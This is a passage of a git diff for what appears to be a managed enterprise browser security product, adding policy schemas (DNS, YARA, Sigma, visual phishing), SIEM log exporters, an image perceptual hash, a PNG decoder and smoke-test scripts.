VisualBrandSchema=z.object({id:z.string().min(1).max(80),label:z.string().min(1).max(100),allowedOrigins:z.array(VisualOriginSchema).min(1).max(50),references:z.array(VisualReferenceSchema).min(1).max(20),maxDistance:z.number().int().min(0).max(10).default(6),requiredText:z.array(z.string().min(1).max(100)).max(20).default([])}).strict(); +export const SigmaRuleSchema=z.object({id:z.string().min(1).max(80),title:z.string().min(1).max(100),level:z.enum(['low','medium','high','critical']),detection:z.object({selection:z.partialRecord(z.enum(['kind','ruleId','host','decision','policyVersion']),z.union([z.string().max(253),z.number().int(),z.boolean()])).refine(v=>Object.keys(v).length>0,'Nonempty metadata selection required'),condition:z.literal('selection')}).strict()}).strict(); +export const SecuritySchema=z.object({ + clipboard:z.object({enabled:z.boolean().default(true),allowCopy:z.boolean().default(true),allowCut:z.boolean().default(true),allowPaste:z.boolean().default(true),blockSuspiciousCommands:z.boolean().default(true),failClosed:z.literal(true).default(true),maxTextBytes:z.number().int().min(1024).max(1048576).default(1048576)}).strict().prefault({}), + dns:z.object({enabled:z.boolean().default(true),blockedHosts:z.array(host).max(10000).default([]),blockedIPs:z.array(z.string().refine(v=>isIP(v)>0,'Expected exact IPv4 or IPv6 address')).max(10000).default([]),failClosed:z.literal(true).default(true)}).prefault({}), + yara:z.object({enabled:z.boolean().default(false),rules:z.array(z.object({id:z.string().min(1).max(80),name:z.string().min(1).max(100),source:z.string().min(1).max(65536)}).strict()).max(100).default([]),maxScanBytes:z.number().int().min(1024).max(20*1024*1024).default(20*1024*1024)}).prefault({}), + content:z.object({blockedPhrases:z.array(z.string().min(1).max(4096)).max(500).default([])}).prefault({}), + sigma:z.object({rules:z.array(SigmaRuleSchema).max(100).default([])}).prefault({}), + visualPhishing:z.object({enabled:z.boolean().default(false),failClosed:z.literal(true).default(true),brands:z.array(VisualBrandSchema).max(50).default([])}).strict().prefault({}) +}).prefault({}); +export const AgentsSchema=z.object({enabled:z.boolean().default(false),scopes:z.array(z.enum(AgentScopes)).max(AgentScopes.length).default(['sessions']),allowedHosts:z.array(host).max(200).default([]),allowSensitiveRead:z.boolean().default(false)}).prefault({}); +export function dnsAddressBlocked(address,policy){ + const normal=v=>{ + let result;try{result=new URL(`http://[${v}]/`).hostname.toLowerCase().replace(/^\[|\]$/g,'');}catch{return v.toLowerCase();} + const mapped=/^::ffff:([a-f0-9]{1,4}):([a-f0-9]{1,4})$/.exec(result); + if(mapped){const upper=parseInt(mapped[1],16),lower=parseInt(mapped[2],16);return `${upper>>>8}.${upper&255}.${lower>>>8}.${lower&255}`;} + return result; + }; + return policy.security?.dns?.enabled!==false && (policy.security?.dns?.blockedIPs||[]).some(v=>normal(v)===normal(address)); +} +export function evaluateSigma(event,rules){return rules.map(r=>SigmaRuleSchema.parse(r)).filter(r=>Object.entries(r.detection.selection).every(([k,v])=>(k==='kind'?event.kind:event.metadata?.[k])===v)).map(r=>({ruleId:r.id,title:r.title,level:r.level}));} + + + + diff --git a/packages/core/semantic.mjs b/packages/core/semantic.mjs new file mode 100644 index 0000000..b8d9ef2 --- /dev/null +++ b/packages/core/semantic.mjs @@ -0,0 +1,19 @@ +import { z } from 'zod'; +export const SEMANTIC_MODEL='google/embeddinggemma-2'; +export const SEMANTIC_DIMENSIONS=768; +export const SEMANTIC_PROFILE='document-v1'; +export const SEMANTIC_ARTIFACT={artifactFormat:'gguf',quantization:'Q8_0',runtimeRevision:'b11461'}; +export const ModelRevisionSchema=z.string().regex(/^[a-f0-9]{40}$/,'An exact lowercase model commit SHA is required'); +export const EmbeddingVectorSchema=z.array(z.number().finite()).length(SEMANTIC_DIMENSIONS).refine(vector=>{const norm=vector.reduce((sum,v)=>sum+v*v,0);return Number.isFinite(norm)&&Math.abs(norm-1)<=0.002;},'Embedding must be finite, nonzero and normalized'); +const CategorySchema=z.object({id:z.string().min(1).max(80),label:z.string().min(1).max(100),threshold:z.number().gt(0).max(1),prototype:EmbeddingVectorSchema,prototypes:z.array(EmbeddingVectorSchema).min(1).max(64).optional()}).strict(); +export const defaultSemantic=()=>({enabled:false,model:SEMANTIC_MODEL,revision:'',dimensions:SEMANTIC_DIMENSIONS,profile:SEMANTIC_PROFILE,...SEMANTIC_ARTIFACT,categories:[]}); +export const SemanticPolicySchema=z.preprocess(value=>{ + // Only inactive legacy configuration is migrated. Old references cannot be assigned a new profile. + if(value&&typeof value==='object'&&value.enabled===false&&value.model===SEMANTIC_MODEL&&(value.profile===undefined||value.dimensions===undefined||value.artifactFormat===undefined))return defaultSemantic(); + return value; +},z.object({enabled:z.boolean(),model:z.literal(SEMANTIC_MODEL),revision:z.union([z.literal(''),ModelRevisionSchema]),dimensions:z.literal(SEMANTIC_DIMENSIONS),profile:z.literal(SEMANTIC_PROFILE),artifactFormat:z.literal('gguf'),quantization:z.literal('Q8_0'),runtimeRevision:z.literal('b11461'),categories:z.array(CategorySchema).max(100)}).strict().superRefine((value,ctx)=>{ + if((value.enabled||value.categories.length)&&!value.revision)ctx.addIssue({code:'custom',message:'Semantic references require a pinned model revision'}); + if(value.enabled&&!value.categories.length)ctx.addIssue({code:'custom',message:'Semantic enforcement requires reference categories'}); + if(value.categories.reduce((sum,category)=>sum+(category.prototypes?.length||1),0)>256)ctx.addIssue({code:'custom',message:'Semantic policy supports at most 256 reference vectors'}); +})).default(defaultSemantic); +export const EmbeddingReferenceSchema=z.object({model:z.literal(SEMANTIC_MODEL),revision:ModelRevisionSchema,dimensions:z.literal(SEMANTIC_DIMENSIONS),profile:z.literal(SEMANTIC_PROFILE),artifactFormat:z.literal('gguf'),quantization:z.literal('Q8_0'),runtimeRevision:z.literal('b11461'),local:z.literal(true),backend:z.literal('native-gguf').optional(),device:z.literal('cpu').optional(),modalities:z.array(z.enum(['text','image','audio'])).min(1).max(3).optional(),vector:EmbeddingVectorSchema,vectors:z.array(EmbeddingVectorSchema).min(1).max(64),coverage:z.object({complete:z.boolean(),textChunks:z.number().int().min(0).max(64),extractionComplete:z.boolean(),mediaItems:z.number().int().min(0).max(64).optional()}).strict()}).strict().refine(value=>value.coverage.mediaItems?value.coverage.textChunks+value.coverage.mediaItems<=value.vectors.length:value.coverage.textChunks===value.vectors.length,'Chunk count must match supplied vectors'); diff --git a/packages/core/siem.mjs b/packages/core/siem.mjs new file mode 100644 index 0000000..0ee560c --- /dev/null +++ b/packages/core/siem.mjs @@ -0,0 +1,38 @@ +import transferFacts from './transfer-facts.cjs'; +const facts=metadata=>{const parsed=transferFacts.FileFactsSchema.safeParse(metadata.file);return parsed.success?parsed.data:null;}; +export function toECS(event,installationId='safetynet') { + const m=event.metadata,block=event.kind.includes('block')||event.kind.endsWith('.denied')||m.decision==='block',failure=event.kind.endsWith('.failure'),alert=event.kind==='sigma.alert'; + const config=event.kind.startsWith('policy.')||event.kind.startsWith('enrollment.')||event.kind==='device.revoked'; + const auth=event.kind.startsWith('sso.'),clipboard=event.kind.startsWith('clipboard.'); + return { + '@timestamp':event.time,ecs:{version:'8.17.0'}, + event:{id:`${installationId}:${event.id}`,kind:alert?'alert':'event',module:'safetynet',dataset:'safetynet.security', + action:event.kind,category:[alert?'intrusion_detection':auth?'authentication':config?'configuration':clipboard?'process':'web'], + type:[alert?'info':failure?'error':auth?'start':config?'change':block?'denied':clipboard?'access':'allowed'],outcome:failure?'failure':'success',...(alert?{severity:severity(m.level)}:{})}, + observer:{vendor:'SafetyNet',product:'Managed Enterprise Browser',type:'dlp',version:'0.1.0'}, + ...(event.device_id?{host:{id:event.device_id}}:{}), + ...(m.actor?{user:{id:m.actor}}:{}),...(m.host?{destination:{domain:m.host}}:{}), + ...(m.ruleId?{rule:{id:m.ruleId}}:{}), + ...(facts(m)?{file:{size:facts(m).bytes,type:facts(m).detectedType,hash:{sha256:facts(m).sha256}}}:{}), + ...(/^[a-f0-9]{32}$/.test(m.traceId||'')?{trace:{id:m.traceId}}:{}), + ...(/^[a-f0-9]{16}$/.test(m.spanId||'')?{span:{id:m.spanId}}:{}), + safetynet:{policy_version:m.policyVersion??m.version??null,decision:m.decision??(block?'block':null), + content_type:m.contentType??null,model:m.model??null,coverage:m.coverage??null,classification:m.classification==='local-only'?'local-only':null, + ...(alert?{source_event_id:`${installationId}:${m.sourceEventId}`,severity:m.level}:{})} + }; +} +const header=v=>String(v).replace(/\\/g,'\\\\').replace(/\|/g,'\\|').replace(/[\r\n]/g,' '); +const ext=v=>String(v).replace(/\\/g,'\\\\').replace(/=/g,'\\=').replace(/\r/g,'\\r').replace(/\n/g,'\\n'); +const severity=level=>({low:3,medium:5,high:7,critical:10}[level]??3); +export function toCEF(event,installationId='safetynet') { + const m=event.metadata,blocked=event.kind.includes('block')||event.kind.endsWith('.denied')||m.decision==='block',alert=event.kind==='sigma.alert'; + const fields={externalId:`${installationId}:${event.id}`,rt:Date.parse(event.time),act:event.kind, + ...(event.device_id?{deviceExternalId:event.device_id}:{}),...(m.actor?{suser:m.actor}:{}), + ...(m.ruleId?{cs1Label:'RuleId',cs1:m.ruleId}:{}),...(m.host?{dhost:m.host}:{}), + ...(m.policyVersion||m.version?{cn1Label:'PolicyVersion',cn1:m.policyVersion??m.version}:{}), + ...(facts(m)?{cn2Label:'FileBytes',cn2:facts(m).bytes,cs6Label:'DetectedFileType',cs6:facts(m).detectedType,fileHash:facts(m).sha256}:{}), + ...(/^[a-f0-9]{32}$/.test(m.traceId||'')?{cs4Label:'TraceId',cs4:m.traceId}:{}), + ...(/^[a-f0-9]{16}$/.test(m.spanId||'')?{cs5Label:'SpanId',cs5:m.spanId}:{}), + ...(alert?{cs2Label:'SourceEventId',cs2:`${installationId}:${m.sourceEventId}`,cs3Label:'AlertLevel',cs3:m.level}:{})}; + return `CEF:0|SafetyNet|Enterprise Browser|0.1.0|${header(event.kind)}|${header(event.kind)}|${alert?severity(m.level):blocked?7:3}|`+Object.entries(fields).map(([k,v])=>`${k}=${ext(v)}`).join(' '); +} diff --git a/packages/core/transfer-facts.cjs b/packages/core/transfer-facts.cjs new file mode 100644 index 0000000..5efa0a7 --- /dev/null +++ b/packages/core/transfer-facts.cjs @@ -0,0 +1,5 @@ +'use strict'; +const {z}=require('zod'); +const FileFactsSchema=z.object({bytes:z.number().int().min(0).max(1073741824),detectedType:z.enum(['pe','elf','macho','pdf','zip','png','jpeg','gif','webp','gzip','text','unknown']),sha256:z.string().regex(/^[a-f0-9]{64}$/)}).strict(); +function transferFacts(value){return value?FileFactsSchema.parse(value):undefined;} +module.exports={FileFactsSchema,transferFacts}; diff --git a/packages/core/user-profiles.mjs b/packages/core/user-profiles.mjs new file mode 100644 index 0000000..98d4464 --- /dev/null +++ b/packages/core/user-profiles.mjs @@ -0,0 +1,27 @@ +import {z} from 'zod'; +const id=z.string().min(1).max(80).regex(/^[A-Za-z0-9][A-Za-z0-9._-]*$/); +const unique=(schema,max)=>z.array(schema).max(max).refine(a=>new Set(a).size===a.length,'Duplicate values'); +const host=z.string().max(253).regex(/^(\*\.)?[a-z0-9](?:[a-z0-9.-]*[a-z0-9])?$/i); +export const UserAccessSchema=z.object({delegatableFeatures:z.object({devTools:z.boolean().default(false)}).strict().prefault({})}).strict().prefault({}); +export const DomainCategorySchema=z.object({id,name:z.string().min(1).max(100),hosts:unique(host,500)}).strict(); +export const UserProfileSchema=z.object({id,name:z.string().min(1).max(100),subjects:unique(z.string().min(1).max(512),10000).default([]),deviceIds:unique(id,10000).default([]),allowedHosts:unique(host,500).default([]),blockedHosts:unique(host,500).default([]),blockedCategoryIds:unique(id,100).default([]),features:z.object({devTools:z.enum(['inherit','allow','deny']).default('inherit'),downloads:z.enum(['inherit','deny']).default('inherit'),ai:z.enum(['inherit','deny']).default('inherit'),agents:z.enum(['inherit','deny']).default('inherit')}).strict().prefault({}),requireDocumentScan:z.boolean().default(false)}).strict(); +export const UserProfileConfigurationSchema=z.object({profiles:z.array(UserProfileSchema).max(100).default([]),categories:z.array(DomainCategorySchema).max(100).default([])}).strict(); +export function profileApplies(profile,device){return profile.deviceIds.includes(device.id)||!!device.verified_subject&&profile.subjects.includes(device.verified_subject);} +const covers=(a,b)=>a===b||a.startsWith('*.')&&b.endsWith(a.slice(1)); +export function applyUserProfiles(policy,configuration,device){ + const result=structuredClone(policy),config=UserProfileConfigurationSchema.parse(configuration||{}),profiles=config.profiles.filter(p=>profileApplies(p,device)).sort((a,b)=>a.id.localeCompare(b.id)); + const union=(a,b)=>[...new Set([...a,...b])].sort(); + for(const p of profiles){ + result.browser.blockedHosts=union(result.browser.blockedHosts,p.blockedHosts); + for(const categoryId of p.blockedCategoryIds){const category=config.categories.find(c=>c.id===categoryId);if(!category)throw Error('Unknown domain category');result.browser.blockedHosts=union(result.browser.blockedHosts,category.hosts);} + if(p.allowedHosts.length){const existing=result.browser.allowedHosts;result.browser.allowedHosts=existing.length?union(existing.filter(a=>p.allowedHosts.some(b=>covers(b,a))),p.allowedHosts.filter(b=>existing.some(a=>covers(a,b)))):p.allowedHosts;if(!result.browser.allowedHosts.length){result.browser.allowedHosts=['denied.invalid'];result.browser.blockedHosts=union(result.browser.blockedHosts,['denied.invalid']);}} + if(p.features.downloads==='deny')result.browser.allowDownloads=false; + if(p.features.ai==='deny')result.ai.enabled=false; + if(p.features.agents==='deny')result.agents.enabled=false; + if(p.requireDocumentScan)result.inspection.documentAnalysisEnabled=true; + } + if(profiles.some(p=>p.features.devTools==='deny'))result.browser.allowDevTools=false; + else if(result.userAccess.delegatableFeatures.devTools&&profiles.some(p=>p.features.devTools==='allow'))result.browser.allowDevTools=true; + result.assignment={deviceId:device.id,groups:[],...(profiles.length?{profiles:profiles.map(p=>p.id)}:{})}; + return result; +} diff --git a/packages/core/visual-hash.cjs b/packages/core/visual-hash.cjs new file mode 100644 index 0000000..ba1b814 --- /dev/null +++ b/packages/core/visual-hash.cjs @@ -0,0 +1,73 @@ +'use strict'; +// A visual similarity feature, never an authentication or phishing verdict. +const SIZE = 32; +const MAX_PIXELS = 16 * 1024 * 1024; +const ALGORITHM = 'phash-dct32-v1'; +const COSINES = Array.from({ length: 8 }, (_, frequency) => + Float64Array.from({ length: SIZE }, (_, position) => Math.cos(Math.PI * (2 * position + 1) * frequency / (2 * SIZE)))); +function invalid() { throw new Error('Invalid visual fingerprint input'); } +function visualFingerprint({ rgba, width, height, region } = {}) { + if (!Number.isInteger(width) || !Number.isInteger(height) || width < 1 || height < 1 || width > 8192 || height > 8192 || width * height > MAX_PIXELS) invalid(); + if (!ArrayBuffer.isView(rgba) || rgba.BYTES_PER_ELEMENT !== 1 || rgba.byteLength !== width * height * 4) invalid(); + if (typeof SharedArrayBuffer !== 'undefined' && rgba.buffer instanceof SharedArrayBuffer) invalid(); + const pixels = new Uint8Array(rgba.buffer, rgba.byteOffset, rgba.byteLength); + let left = 0, top = 0, right = width, bottom = height; + if (region !== undefined) { + if (!region || !['x', 'y', 'width', 'height'].every(key => Number.isInteger(region[key]) && Math.abs(region[key]) <= 32768) || region.width <= 0 || region.height <= 0) invalid(); + left = Math.max(0, region.x); top = Math.max(0, region.y); + right = Math.min(width, region.x + region.width); bottom = Math.min(height, region.y + region.height); + if (left >= right || top >= bottom) invalid(); + } + function luminance(x, y) { + const index = (y * width + x) * 4; + const alpha = pixels[index + 3] / 255; + return alpha * (0.299 * pixels[index] + 0.587 * pixels[index + 1] + 0.114 * pixels[index + 2]) + (1 - alpha) * 255; + } + const grid = new Float64Array(SIZE * SIZE); + // Centered bilinear resampling of the entire supplied crop preserves geometry. + for (let y = 0; y < SIZE; y++) { + const py = Math.max(top, Math.min(bottom - 1, top + (y + 0.5) * (bottom - top) / SIZE - 0.5)); + const y0 = Math.floor(py), y1 = Math.min(bottom - 1, y0 + 1), dy = py - y0; + for (let x = 0; x < SIZE; x++) { + const px = Math.max(left, Math.min(right - 1, left + (x + 0.5) * (right - left) / SIZE - 0.5)); + const x0 = Math.floor(px), x1 = Math.min(right - 1, x0 + 1), dx = px - x0; + grid[y * SIZE + x] = (1 - dy) * ((1 - dx) * luminance(x0, y0) + dx * luminance(x1, y0)) + dy * ((1 - dx) * luminance(x0, y1) + dx * luminance(x1, y1)); + } + } + const mean = grid.reduce((sum, value) => sum + value, 0) / grid.length; + const stddev = Math.sqrt(grid.reduce((sum, value) => sum + (value - mean) ** 2, 0) / grid.length); + const histogram = new Uint16Array(16); + let minimum = 255, maximum = 0, detail = 0; + for (let y = 0; y < SIZE; y++) for (let x = 0; x < SIZE; x++) { + const value = grid[y * SIZE + x]; + minimum = Math.min(minimum, value); maximum = Math.max(maximum, value); + histogram[Math.min(15, Math.floor(value / 16))]++; + if (x) detail += Math.abs(value - grid[y * SIZE + x - 1]); + if (y) detail += Math.abs(value - grid[(y - 1) * SIZE + x]); + } + detail /= 2 * SIZE * (SIZE - 1); + const entropy = histogram.reduce((sum, count) => { const probability = count / grid.length; return count ? sum - probability * Math.log2(probability) : sum; }, 0); + const coefficients = []; + // Orthonormal DCT-II, low-frequency 8x8 block. DC is deliberately excluded. + for (let v = 0; v < 8; v++) for (let u = 0; u < 8; u++) { + if (!u && !v) { coefficients.push(0); continue; } + let coefficient = 0; + for (let y = 0; y < SIZE; y++) for (let x = 0; x < SIZE; x++) coefficient += (grid[y * SIZE + x] - mean) * COSINES[u][x] * COSINES[v][y]; + coefficient *= (u ? Math.sqrt(2 / SIZE) : Math.sqrt(1 / SIZE)) * (v ? Math.sqrt(2 / SIZE) : Math.sqrt(1 / SIZE)); + coefficients.push(Math.round(coefficient * 1e8) / 1e8); + } + const sorted = coefficients.slice(1).sort((a, b) => a - b), median = sorted[31]; + let bits = 0n; + for (let index = 1; index < coefficients.length; index++) if (coefficients[index] > median) bits |= 1n << BigInt(63 - index); + const round = value => Math.round(value * 10000) / 10000; + return { algorithm: ALGORITHM, hash: bits.toString(16).padStart(16, '0'), + quality: { contrast: round(stddev), stddev: round(stddev), dynamicRange: round(maximum - minimum), entropy: round(entropy), detail: round(detail) }, + usable: stddev >= 10 && maximum - minimum >= 32 && entropy >= 0.5 && detail >= 1 }; +} +function hammingDistance(left, right) { + if (typeof left !== 'string' || typeof right !== 'string' || !/^[a-f0-9]{16}$/.test(left) || !/^[a-f0-9]{16}$/.test(right)) invalid(); + let different = BigInt('0x' + left) ^ BigInt('0x' + right), count = 0; + while (different) { different &= different - 1n; count++; } + return count; +} +module.exports = { visualFingerprint, hammingDistance }; diff --git a/packages/core/visual-image.cjs b/packages/core/visual-image.cjs new file mode 100644 index 0000000..2542421 --- /dev/null +++ b/packages/core/visual-image.cjs @@ -0,0 +1,29 @@ +'use strict'; +const {PNG}=require('pngjs'); +const {inflateSync}=require('node:zlib'); +const {visualFingerprint}=require('./visual-hash.cjs'); +const SIGNATURE=Buffer.from([137,80,78,71,13,10,26,10]); +function decodePNG(input){ + const bytes=Buffer.from(input); + if(bytes.length<45||bytes.length>10*1024*1024||!bytes.subarray(0,8).equals(SIGNATURE)||bytes.readUInt32BE(8)!==13||bytes.toString('ascii',12,16)!=='IHDR')throw Error('Invalid bounded PNG reference'); + const width=bytes.readUInt32BE(16),height=bytes.readUInt32BE(20),depth=bytes[24],type=bytes[25]; + if(width<16||height<16||width>8192||height>8192||width*height>8*1024*1024||depth!==8||![0,2,4,6].includes(type)||bytes[26]!==0||bytes[27]!==0||bytes[28]!==0)throw Error('Unsupported PNG dimensions or encoding'); + const parts=[];let ended=false; + for(let offset=8;offsetbytes.length)throw Error('Truncated PNG'); + const length=bytes.readUInt32BE(offset),chunk=bytes.toString('ascii',offset+4,offset+8),next=offset+12+length; + if(next>bytes.length||ended||(chunk==='IHDR'&&offset!==8)||['acTL','fcTL','fdAT'].includes(chunk))throw Error('Unsupported PNG structure'); + if(chunk==='IDAT')parts.push(bytes.subarray(offset+8,offset+8+length)); + if(chunk==='IEND'){if(length!==0||next!==bytes.length)throw Error('Invalid PNG end');ended=true;} + offset=next; + } + if(!ended||!parts.length)throw Error('Incomplete PNG'); + const channels={0:1,2:3,4:2,6:4}[type],expected=(width*channels+1)*height; + const inflated=inflateSync(Buffer.concat(parts),{maxOutputLength:expected+1}); + try{if(inflated.length!==expected)throw Error('PNG data size differs from header');}finally{inflated.fill(0);} + const image=PNG.sync.read(bytes,{checkCRC:true}); + if(image.width!==width||image.height!==height||image.data.length!==width*height*4)throw Error('PNG output dimensions invalid'); + return {rgba:image.data,width,height}; +} +function fingerprintPNG(bytes){const image=decodePNG(bytes);try{return {...visualFingerprint(image),width:image.width,height:image.height};}finally{image.rgba.fill(0);}} +module.exports={decodePNG,fingerprintPNG}; diff --git a/scripts/agent-client.cjs b/scripts/agent-client.cjs new file mode 100644 index 0000000..776812c --- /dev/null +++ b/scripts/agent-client.cjs @@ -0,0 +1,8 @@ +// Trusted local-process helper. Capability decryption stays in Electron's OS key store. +const {app}=require('electron'); +const {configureClient,runClient}=require('../apps/browser/agent-client.cjs'); +const args=process.argv.slice(2); +const value=name=>{const i=args.indexOf(name);return i>=0?args[i+1]:null;}; +const connectionFile=value('--connection'),requestFile=value('--request'); +try{configureClient(connectionFile);app.whenReady().then(()=>runClient(connectionFile,requestFile)).catch(error=>{console.error(`Local agent action failed (${error.clientStage||'startup'}). Check policy, session and encrypted pairing file.`);app.exit(1);});} +catch{console.error('Provide --connection absolute-file and --request JSON-file');app.exit(1);} diff --git a/scripts/appcontainer-smoke.py b/scripts/appcontainer-smoke.py new file mode 100644 index 0000000..2e4d91d --- /dev/null +++ b/scripts/appcontainer-smoke.py @@ -0,0 +1,51 @@ +"""Actual Windows AppContainer OS boundary and local model proof, synthetic fixtures.""" +import base64 +import io +import json +import os +from pathlib import Path +import queue +import secrets +import subprocess +import sys +import threading +import time +import unittest +import urllib.request + +ROOT=Path(__file__).resolve().parent.parent +sys.path.insert(0,str(ROOT/'apps/inspector')) +import test_windows_appcontainer +suite=unittest.defaultTestLoader.loadTestsFromModule(test_windows_appcontainer) +result=unittest.TextTestRunner(verbosity=2).run(suite) +if not result.wasSuccessful():raise SystemExit(1) +from PIL import Image,ImageDraw,ImageFont +semantic=ROOT/'.runtime/windows/semantic' +token=secrets.token_urlsafe(32) +env={key:value for key,value in os.environ.items() if key.upper() in {'SYSTEMROOT','WINDIR','USERPROFILE','LOCALAPPDATA','APPDATA','TEMP','TMP'}} +env.update({'INSPECTOR_TOKEN':token,'INSPECTOR_PORT':'0','EMBEDDING_MODEL_DIR':str(semantic/'models'),'EMBEDDING_WORKER_PATH':str(semantic/'searchi-gemma-worker.exe')}) +child=subprocess.Popen([sys.executable,str(ROOT/'apps/inspector/server.py')],stdout=subprocess.PIPE,stderr=subprocess.PIPE,env=env,creationflags=subprocess.CREATE_NO_WINDOW) +lines=queue.Queue();threading.Thread(target=lambda:lines.put(child.stdout.readline()),daemon=True).start() +proof={'nativeYaraUploadDownload':True,'osTests':{'passed':result.testsRun,'failed':len(result.failures)+len(result.errors)},'tokenAppContainer':True,'capabilityCount':0,'privateReadDenied':True,'runtimeWriteDenied':True,'brokerMemoryReadDenied':True,'tcpDenied':True,'udpReceiverDenied':True,'childTokenInherited':True,'orphanWorkerKilledOnRequestEnd':True,'binaryPipe16MiBComplete':True,'deadlineFailsClosed':True,'oversizedResponseFailsClosed':True,'unsandboxedWorkerRejected':True} +try: + ready=json.loads(lines.get(timeout=40));proof['brokerIsolation']=ready['containment']['parserIsolation'] + def invoke(route,blob,policy=None): + body=json.dumps({'data':base64.b64encode(blob).decode(),'policy':policy or {}}).encode() + request=urllib.request.Request('http://127.0.0.1:'+str(ready['port'])+route,data=body,headers={'Authorization':'Bearer '+token}) + started=time.monotonic() + with urllib.request.urlopen(request,timeout=30) as response: answer=json.load(response) + return answer,round(time.monotonic()-started,3) + image=Image.new('RGB',(1000,200),'white');draw=ImageDraw.Draw(image) + draw.text((20,30),'Internal secret invoice 482190',fill='black',font=ImageFont.truetype('C:/Windows/Fonts/arial.ttf',40)) + blob=io.BytesIO();image.save(blob,format='PNG') + policy={'security':{},'dlp':{'maxBytes':20971520,'rules':[{'id':'ocr-secret','kind':'literal','value':'482190'}]}} + answer,elapsed=invoke('/inspect',blob.getvalue(),policy) + if answer['decision']!='block' or answer['ruleId']!='ocr-secret' or not answer['coverage']['complete']:raise RuntimeError('Native OCR proof failed') + proof['localOcr']={'decision':answer['decision'],'ruleId':answer['ruleId'],'complete':answer['coverage']['complete'],'seconds':elapsed} + answer,elapsed=invoke('/embed',b'Public product documentation and marketing materials.') + if answer['dimensions']!=768 or answer['model']!='google/embeddinggemma-2' or not answer['coverage']['complete']:raise RuntimeError('Native Gemma proof failed') + proof['localGemma']={'model':answer['model'],'dimensions':answer['dimensions'],'complete':answer['coverage']['complete'],'seconds':elapsed,'device':answer['device']} + target=ROOT/'artifacts/windows-appcontainer-proof.json';target.write_text(json.dumps(proof,indent=2)+'\n',encoding='utf-8') + print(json.dumps({'passed':True,'proof':str(target)})) +finally: + child.kill();child.wait(timeout=5);child.stdout.close();child.stderr.close() diff --git a/scripts/bookmarks-admin-smoke.cjs b/scripts/bookmarks-admin-smoke.cjs new file mode 100644 index 0000000..fc8e26b --- /dev/null +++ b/scripts/bookmarks-admin-smoke.cjs @@ -0,0 +1,25 @@ +'use strict'; +const {app,BrowserWindow}=require('electron');const assert=require('node:assert/strict');const fs=require('node:fs');const path=require('node:path'); +app.disableHardwareAcceleration();app.enableSandbox();app.setPath('userData',process.env.SAFETYNET_ADMIN_SMOKE_PROFILE);app.commandLine.appendSwitch('force-device-scale-factor','1'); +let window;const deadline=setTimeout(()=>{console.error('ADMIN_UI_PROOF_TIMEOUT');app.exit(1);},50000); +async function evaluate(source){return window.webContents.executeJavaScript(source,true);} +async function waitFor(source){const until=Date.now()+12000;while(Date.now()setTimeout(r,75));}throw Error('Administrator UI state did not arrive');} +app.whenReady().then(async()=>{ + window=new BrowserWindow({show:false,width:1500,height:1100,webPreferences:{nodeIntegration:false,contextIsolation:true,sandbox:true,offscreen:true,backgroundThrottling:false}}); + await window.loadURL(process.env.SAFETYNET_ADMIN_SMOKE_URL); + await evaluate(`globalThis.__proofErrors=0;addEventListener('error',()=>globalThis.__proofErrors++);addEventListener('unhandledrejection',()=>globalThis.__proofErrors++);`); + assert.deepEqual(await evaluate(`({node:typeof process,require:typeof require,bridge:typeof safetynet})`),{node:'undefined',require:'undefined',bridge:'undefined'}); + const headers=await evaluate(`fetch(location.href).then(r=>({csp:r.headers.get('content-security-policy'),type:r.headers.get('x-content-type-options')}))`);assert.ok(headers.csp.includes("script-src 'self'"));assert.ok(headers.csp.includes("frame-ancestors 'none'"));assert.equal(headers.type,'nosniff'); + await evaluate(`document.getElementById('token').value=${JSON.stringify(process.env.SAFETYNET_ADMIN_SMOKE_TOKEN)};document.getElementById('connect').click()`);await waitFor(`!document.getElementById('workspace').hidden&&document.getElementById('status').textContent.includes('Connected')`); + await evaluate(`document.getElementById('managed-bookmark-add').click();const fields=document.querySelectorAll('#managed-bookmark-rows input');for(const [index,value]of ['Company intranet','https://intranet.synthetic.example/','Company'].entries()){fields[index].value=value;fields[index].dispatchEvent(new Event('input'));}document.getElementById('bookmarks-admin-read').checked=true;document.getElementById('publish').click()`); + await waitFor(`document.getElementById('policy-version').textContent==='v2'&&document.getElementById('status').textContent.includes('published')`); + assert.deepEqual(await evaluate(`Array.from(document.querySelectorAll('#managed-bookmark-rows input'),i=>i.value)`),['Company intranet','https://intranet.synthetic.example/','Company']); + await evaluate(`document.getElementById('bookmark-device-load').click()`);await waitFor(`!document.getElementById('bookmark-device-editor').hidden`); + await evaluate(`document.getElementById('personal-bookmark-add').click();const personalFields=document.querySelectorAll('#personal-bookmark-rows input');for(const [index,value]of ['Remote personal reference','https://reference.synthetic.example/','Research'].entries()){personalFields[index].value=value;personalFields[index].dispatchEvent(new Event('input'));}document.getElementById('bookmark-device-save').click()`); + await waitFor(`document.getElementById('bookmark-device-status').textContent.includes('Saved revision 1')`);assert.equal(await evaluate(`document.getElementById('policy-version').textContent`),'v2'); + await evaluate(`document.getElementById('bookmark-device-refresh').click()`);await waitFor(`document.getElementById('bookmark-device-status').textContent.includes('Loaded device revision 1')`);assert.equal(await evaluate(`document.querySelector('#personal-bookmark-rows input').value`),'Remote personal reference'); + await evaluate(`document.getElementById('bookmarks-admin-read').checked=false;document.getElementById('publish').click()`);await waitFor(`document.getElementById('policy-version').textContent==='v3'&&document.getElementById('status').textContent.includes('published')`); + await evaluate(`document.getElementById('bookmark-device-load').click()`);await waitFor(`document.getElementById('status').className==='error'`);assert.equal(await evaluate(`document.getElementById('bookmark-device-editor').hidden`),true);assert.equal(await evaluate(`globalThis.__proofErrors`),0); + await evaluate(`document.getElementById('bookmarks').scrollIntoView()`);window.webContents.invalidate();await new Promise(r=>setTimeout(r,300));fs.mkdirSync(path.resolve('artifacts'),{recursive:true});fs.writeFileSync(path.resolve('artifacts/bookmarks-admin.png'),(await window.webContents.capturePage()).toPNG()); + console.log('BOOKMARK_ADMIN_PROOF_OK');clearTimeout(deadline);window.destroy();app.exit(0); +}).catch(error=>{console.error('BOOKMARK_ADMIN_PROOF_FAILED',error.message);clearTimeout(deadline);window?.destroy();app.exit(1);}); diff --git a/scripts/bookmarks-admin-smoke.mjs b/scripts/bookmarks-admin-smoke.mjs new file mode 100644 index 0000000..5a62001 --- /dev/null +++ b/scripts/bookmarks-admin-smoke.mjs @@ -0,0 +1,26 @@ +// Finite, isolated administrator workflow proof using actual UI and HTTP routes. +import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +import { createServer } from 'node:net'; +import { mkdtempSync, mkdirSync, rmSync, writeFileSync } from 'node:fs'; +import { tmpdir } from 'node:os'; +import { join, resolve, sep, basename } from 'node:path'; +import { spawn } from 'node:child_process'; +import { randomBytes } from 'node:crypto'; +import { openStore } from 